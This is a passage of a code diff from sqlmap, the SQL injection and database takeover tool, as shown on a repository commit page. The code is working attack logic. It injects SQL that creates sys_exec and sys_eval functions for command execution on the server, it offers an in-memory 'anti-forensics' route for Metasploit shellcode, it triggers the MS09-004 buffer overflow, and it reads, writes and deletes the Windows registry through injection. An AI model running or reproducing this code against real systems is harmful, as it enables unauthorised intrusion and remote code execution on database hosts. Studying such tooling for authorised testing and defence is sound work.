self.writeFile(wFile, dFile, "binary", False)
|
||||
|
||||
for udf, retType in ( ( "sys_exec", "int4" ), ( "sys_eval", "text" ) ):
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating %s UDF from the binary UDF file" % udf)
|
||||
|
||||
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE OR REPLACE FUNCTION %s(text) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, retType, dFile, udf))
|
||||
else:
|
||||
logger.debug("keeping existing %s UDF as requested" % udf)
|
||||
|
||||
self.createdUdf.add(udf)
|
||||
self.udfLocalFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
|
||||
self.udfSharedLibExt = "so"
|
||||
|
||||
self.udfInjectCore(self.sysUdfs)
|
||||
self.envInitialized = True
|
||||
|
||||
debugMsg = "creating a support table to write commands standard "
|
||||
debugMsg += "output to"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.createSupportTbl(self.cmdTblName, self.tblField, "text")
|
||||
|
||||
|
||||
def uncPathRequest(self):
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||
|
||||
@@ -46,12 +46,15 @@ class Miscellaneous:
|
||||
if kb.os == "Windows":
|
||||
# NOTES:
|
||||
#
|
||||
# * MySQL runs by default as SYSTEM and the system-wide
|
||||
# temporary files directory is C:\WINDOWS\Temp
|
||||
# * The system-wide temporary files directory is
|
||||
# C:\WINDOWS\Temp
|
||||
#
|
||||
# * MySQL runs by default as SYSTEM
|
||||
#
|
||||
# * PostgreSQL runs by default as postgres user and the
|
||||
# temporary files directory is C:\Documents and Settings\postgres\Local Settings\Temp,
|
||||
# however the system-wide folder is writable too
|
||||
# however the system-wide folder is writable too
|
||||
#
|
||||
#infoMsg = "retrieving remote absolute path of temporary files "
|
||||
#infoMsg += "directory"
|
||||
#logger.info(infoMsg)
|
||||
@@ -70,12 +73,28 @@ class Miscellaneous:
|
||||
setRemoteTempPath()
|
||||
|
||||
|
||||
def delRemoteTempFile(self, tempFile, bat=False):
|
||||
self.checkDbmsOs()
|
||||
|
||||
if kb.os == "Windows":
|
||||
if bat is True:
|
||||
tempFile = tempFile.replace("/", "\\\\")
|
||||
else:
|
||||
tempFile = tempFile.replace("/", "\\")
|
||||
|
||||
cmd = "del /F /Q %s" % tempFile
|
||||
else:
|
||||
cmd = "rm -f %s" % tempFile
|
||||
|
||||
self.execCmd(cmd, forgeCmd=True)
|
||||
|
||||
|
||||
def createSupportTbl(self, tblName, tblField, tblType):
|
||||
inject.goStacked("DROP TABLE %s" % tblName)
|
||||
inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
|
||||
|
||||
|
||||
def cleanup(self, onlyFileTbl=False):
|
||||
def cleanup(self, onlyFileTbl=False, udfDict=None):
|
||||
"""
|
||||
Cleanup database from sqlmap create tables and functions
|
||||
"""
|
||||
@@ -108,17 +127,21 @@ class Miscellaneous:
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
return
|
||||
|
||||
for udf in ( "sys_exec", "sys_eval" ):
|
||||
message = "do you want to remove %s UDF? [Y/n] " % udf
|
||||
if udfDict is None:
|
||||
udfDict = self.sysUdfs
|
||||
|
||||
for udf, inpRet in udfDict.items():
|
||||
message = "do you want to remove UDF '%s'? [Y/n] " % udf
|
||||
output = readInput(message, default="Y")
|
||||
|
||||
if not output or output in ("y", "Y"):
|
||||
dropStr = "DROP FUNCTION %s" % udf
|
||||
|
||||
if kb.dbms == "PostgreSQL":
|
||||
dropStr += "(text)"
|
||||
inp = ", ".join(i for i in inpRet["input"])
|
||||
dropStr += "(%s)" % inp
|
||||
|
||||
logger.debug("removing %s UDF" % udf)
|
||||
logger.debug("removing UDF '%s'" % udf)
|
||||
inject.goStacked(dropStr)
|
||||
|
||||
logger.info("database management system cleanup finished")
|
||||
|
||||
@@ -42,13 +42,12 @@ from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
from lib.core.shell import autoCompletion
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.takeover.abstraction import Abstraction
|
||||
from lib.takeover.dep import DEP
|
||||
from lib.takeover.metasploit import Metasploit
|
||||
from lib.takeover.registry import Registry
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
|
||||
class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
class Takeover(Abstraction, Metasploit, Registry):
|
||||
"""
|
||||
This class defines generic OS takeover functionalities for plugins.
|
||||
"""
|
||||
@@ -59,7 +58,6 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
self.cmdFromChurrasco = False
|
||||
|
||||
Abstraction.__init__(self)
|
||||
DEP.__init__(self)
|
||||
|
||||
|
||||
def __webBackdoorRunCmd(self, backdoorUrl, cmd):
|
||||
@@ -257,9 +255,6 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True))
|
||||
self.cmdFromChurrasco = True
|
||||
|
||||
# NOTE: no need to handle DEP for Churrasco executable because
|
||||
# it spawns a new process as the SYSTEM user token to execute
|
||||
# the executable passed as argument
|
||||
self.writeFile(wFile, self.churrascoPath, "binary", confirm=False)
|
||||
|
||||
return True
|
||||
@@ -309,28 +304,53 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
|
||||
self.initEnv()
|
||||
self.getRemoteTempPath()
|
||||
self.createMsfPayloadStager()
|
||||
self.uploadMsfPayloadStager()
|
||||
|
||||
if kb.os == "Windows":
|
||||
# NOTE: no need to add an exception to DEP for the payload
|
||||
# stager because it already sets the memory to +rwx before
|
||||
# copying the shellcode into that memory page
|
||||
#self.handleDep(self.exeFilePathRemote)
|
||||
goUdf = False
|
||||
condition = ( kb.dbms == "MySQL" or kb.dbms == "PostgreSQL" )
|
||||
|
||||
if conf.privEsc and kb.dbms == "MySQL":
|
||||
if condition is True:
|
||||
msg = "how do you want to execute the Metasploit shellcode "
|
||||
msg += "on the back-end database underlying operating system?"
|
||||
msg += "\n[1] Stand-alone payload stager (file system way, default)"
|
||||
msg += "\n[2] Via UDF 'sys_bineval' (in-memory way, anti-forensics)"
|
||||
|
||||
while True:
|
||||
choice = readInput(msg, default=1)
|
||||
|
||||
if isinstance(choice, str) and choice.isdigit() and int(choice) in ( 1, 2 ):
|
||||
choice = int(choice)
|
||||
break
|
||||
|
||||
elif isinstance(choice, int) and choice in ( 1, 2 ):
|
||||
break
|
||||
|
||||
else:
|
||||
warnMsg = "invalid value, valid values are 1 and 2"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if choice == 2:
|
||||
goUdf = True
|
||||
|
||||
if goUdf is True:
|
||||
self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
|
||||
else:
|
||||
self.createMsfPayloadStager()
|
||||
self.uploadMsfPayloadStager()
|
||||
|
||||
if kb.os == "Windows" and conf.privEsc:
|
||||
if kb.dbms == "MySQL":
|
||||
debugMsg = "by default MySQL on Windows runs as SYSTEM "
|
||||
debugMsg += "user, no need to privilege escalate"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
elif conf.privEsc and kb.dbms == "PostgreSQL":
|
||||
elif kb.dbms == "PostgreSQL":
|
||||
warnMsg = "by default PostgreSQL on Windows runs as postgres "
|
||||
warnMsg += "user which has no Windows Impersonation "
|
||||
warnMsg += "Tokens: it is unlikely that the privilege "
|
||||
warnMsg += "escalation will be successful"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
elif conf.privEsc and kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
warnMsg = "often Microsoft SQL Server %s " % kb.dbmsVersion[0]
|
||||
warnMsg += "runs as Network Service which has no Windows "
|
||||
warnMsg += "Impersonation Tokens within all threads, this "
|
||||
@@ -350,7 +370,7 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
# system is not Windows
|
||||
conf.privEsc = False
|
||||
|
||||
self.pwn()
|
||||
self.pwn(goUdf)
|
||||
|
||||
|
||||
def osSmb(self):
|
||||
@@ -424,11 +444,134 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
infoMsg += "buffer overflow (MS09-004)"
|
||||
logger.info(infoMsg)
|
||||
|
||||
# NOTE: only needed to handle DEP
|
||||
self.initEnv(mandatory=False, detailed=True)
|
||||
|
||||
self.getRemoteTempPath()
|
||||
self.createMsfShellcode()
|
||||
self.overflowBypassDEP()
|
||||
self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
|
||||
self.bof()
|
||||
self.delException()
|
||||
|
||||
|
||||
def __regInit(self):
|
||||
stackedTest()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
return
|
||||
|
||||
self.checkDbmsOs()
|
||||
|
||||
if kb.os != "Windows":
|
||||
errMsg = "the back-end DBMS underlying operating system is "
|
||||
errMsg += "not Windows"
|
||||
raise sqlmapUnsupportedDBMSException, errMsg
|
||||
|
||||
self.initEnv()
|
||||
self.getRemoteTempPath()
|
||||
|
||||
|
||||
def regRead(self):
|
||||
self.__regInit()
|
||||
|
||||
if not conf.regKey:
|
||||
default = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
|
||||
msg = "which registry key do you want to read? [%s] " % default
|
||||
regKey = readInput(msg, default=default)
|
||||
else:
|
||||
regKey = conf.regKey
|
||||
|
||||
if not conf.regVal:
|
||||
default = "ProductName"
|
||||
msg = "which registry key value do you want to read? [%s] " % default
|
||||
regVal = readInput(msg, default=default)
|
||||
else:
|
||||
regVal = conf.regVal
|
||||
|
||||
infoMsg = "reading Windows registry path '%s\%s' " % (regKey, regVal)
|
||||
logger.info(infoMsg)
|
||||
|
||||
return self.readRegKey(regKey, regVal, False)
|
||||
|
||||
|
||||
def regAdd(self):
|
||||
self.__regInit()
|
||||
|
||||
errMsg = "missing mandatory option"
|
||||
|
||||
if not conf.regKey:
|
||||
msg = "which registry key do you want to write? "
|
||||
regKey = readInput(msg)
|
||||
|
||||
if not regKey:
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
else:
|
||||
regKey = conf.regKey
|
||||
|
||||
if not conf.regVal:
|
||||
msg = "which registry key value do you want to write? "
|
||||
regVal = readInput(msg)
|
||||
|
||||
if not regVal:
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
else:
|
||||
regVal = conf.regVal
|
||||
|
||||
if not conf.regData:
|
||||
msg = "which registry key value data do you want to write? "
|
||||
regData = readInput(msg)
|
||||
|
||||
if not regData:
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
else:
|
||||
regData = conf.regData
|
||||
|
||||
if not conf.regType:
|
||||
default = "REG_SZ"
|
||||
msg = "which registry key value data-type is it? "
|
||||
msg += "[%s] " % default
|
||||
regType = readInput(msg, default=default)
|
||||
else:
|
||||
regType = conf.regType
|
||||
|
||||
infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal)
|
||||
infoMsg += "with data '%s'. " % regData
|
||||
infoMsg += "This will work only if the user running the database "
|
||||
infoMsg += "process has privileges to modify the Windows registry."
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.addRegKey(regKey, regVal, regType, regData)
|
||||
|
||||
|
||||
def regDel(self):
|
||||
self.__regInit()
|
||||
|
||||
errMsg = "missing mandatory option"
|
||||
|
||||
if not conf.regKey:
|
||||
msg = "which registry key do you want to delete? "
|
||||
regKey = readInput(msg)
|
||||
|
||||
if not regKey:
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
else:
|
||||
regKey = conf.regKey
|
||||
|
||||
if not conf.regVal:
|
||||
msg = "which registry key value do you want to delete? "
|
||||
regVal = readInput(msg, default=default)
|
||||
|
||||
if not regVal:
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
else:
|
||||
regVal = conf.regVal
|
||||
|
||||
message = "are you sure that you want to delete the Windows "
|
||||
message += "registry path '%s\%s? [y/N] " % (regKey, regVal)
|
||||
output = readInput(message, default="N")
|
||||
|
||||
if output and output[0] not in ( "Y", "y" ):
|
||||
return
|
||||
|
||||
infoMsg = "deleting Windows registry path '%s\%s'" % (regKey, regVal)
|
||||
infoMsg += "This will work only if the user running the database "
|
||||
infoMsg += "process has privileges to modify the Windows registry."
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.delRegKey(regKey, regVal)
|
||||
|
||||
Reference in New Issue
Block a user